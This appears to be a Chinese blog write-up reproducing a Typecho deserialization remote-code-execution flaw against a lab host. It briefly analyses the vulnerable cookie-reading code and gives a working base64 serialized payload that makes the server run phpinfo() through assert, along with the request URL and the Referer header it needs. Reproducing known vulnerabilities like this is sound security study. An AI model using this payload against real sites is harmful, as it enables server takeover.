typecho反序列化漏洞复现

typecho框架存在反序列化漏洞,利用此漏洞可执行任意代码

环境搭建

第一步

typecho反序列化漏洞复现_第1张图片

 第二步

typecho反序列化漏洞复现_第2张图片

 第三步

typecho反序列化漏洞复现_第3张图片

 第三步

typecho反序列化漏洞复现_第4张图片

 第四步

typecho反序列化漏洞复现_第5张图片

 第五步

typecho反序列化漏洞复现_第6张图片

 第六步

typecho反序列化漏洞复现_第7张图片

 第七步

typecho反序列化漏洞复现_第8张图片

 第八步

typecho反序列化漏洞复现_第9张图片

 第九步

typecho反序列化漏洞复现_第10张图片

 漏洞分析

typecho\build\install.php 文件中 , 使用unserialize()进行反序列化 , 并使用base64进行编码 , 序列化的内容通过 Typech_Cookie 的 get()函数获取

 ypecho_Cookie的get函数从cookie或者post中获取参数

public static function get($key, $default = NULL)
{
    $key = self::$_prefix . $key;
    $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
    return is_array($value) ? $default : $value;
}

但执行这些代码前,需要先满足两个条件

typecho反序列化漏洞复现_第11张图片

漏洞复现

第一步

typecho反序列化漏洞复现_第12张图片

 第二步

typecho反序列化漏洞复现_第13张图片

 使用抓包工具( 此处使用Burp Suite工具 )构造恶意参数

typecho反序列化漏洞复现_第14张图片

 如果Burp Suite里直接编写post请求不生效,可配合火狐浏览器的插件HacKBar

typecho反序列化漏洞复现_第15张图片

typecho反序列化漏洞复现_第16张图片

 payload

finish参数

http://192.168.232.130/typecho/build/install.php?finish=1

Referer

Referer: http://192.168.232.130

Post请求参数内容

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUxMTc5NTIwMTtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

你可能感兴趣的:(漏洞复现,安全漏洞)